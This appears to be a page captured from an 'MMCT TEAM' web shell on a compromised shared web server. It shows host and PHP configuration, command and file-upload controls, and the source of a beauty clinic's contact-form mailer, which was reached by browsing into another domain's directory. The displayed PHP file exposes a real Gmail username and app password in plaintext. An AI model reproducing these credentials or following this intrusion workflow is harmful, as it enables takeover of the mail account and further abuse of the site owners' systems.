MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.38
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u742491609/domains/tsorworks.com/../mapisbeautyskinclinic.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u742491609/domains/tsorworks.com/../mapisbeautyskinclinic.com/public_html/email.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'vendor/autoload.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Sanitize and retrieve form data
    $name = htmlspecialchars($_POST['name']);
    $email = htmlspecialchars($_POST['email']);
    $phone = htmlspecialchars($_POST['phonenumber']);
    $message = htmlspecialchars($_POST['message']);

    $mail = new PHPMailer(true);

    try {
        $mail->isSMTP();
        $mail->Host = 'smtp.gmail.com';
        $mail->SMTPAuth = true;
        $mail->Username = 'vigneshredback@gmail.com'; // Replace with your email
        $mail->Password = 'pwbmondaqaqklhwz'; // Replace with your app password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port = 587;

        $mail->setFrom($email, $name); // Sender email and name
        $mail->addAddress('mapisclinic@gmail.com'); // Replace with the recipient's email

        // Email subject and body
        $mail->Subject = 'New Enquiry - Mapis Beauty and Skincare';
        $mail->Body = "
        <html>
        <head>
            <style>
                body { font-family: Arial, sans-serif; line-height: 1.5; color: #333; }
                .header { background: #ff3366; color: white; padding: 15px; text-align: center; }
                .content { margin: 20px; }
                .footer { background: #222; color: white; text-align: center; padding: 10px; font-size: 12px; }
                .info { margin-bottom: 10px; }
            </style>
        </head>
        <body>
            <div class='header'><h1>Mapis</h1></div>
            <div class='content'>
                <h2>General Enquiries</h2>
                <div class='info'><strong>Name:</strong> $name</div>
                <div class='info'><strong>Phone Number:</strong> $phone</div>
                <div class='info'><strong>Email:</strong> $email</div>
                <div class='info'><strong>Message:</strong><br>$message</div>
            </div>
            <div class='footer'>
                &copy; 2024-2025 Mapis. Powered By Redback Studios
            </div>
        </body>
        </html>";

        $mail->isHTML(true);
        $mail->send();
        echo ("<script language='javascript'> window.alert('Thank you! Our consultant will review your details and respond shortly.'); window.location.href='https://mapisbeautyskinclinic.com/'; </script>");
    } catch (Exception $e) {
        echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
    }
} else {
    echo 'Invalid request method.';
}
?>

MMCT - 2023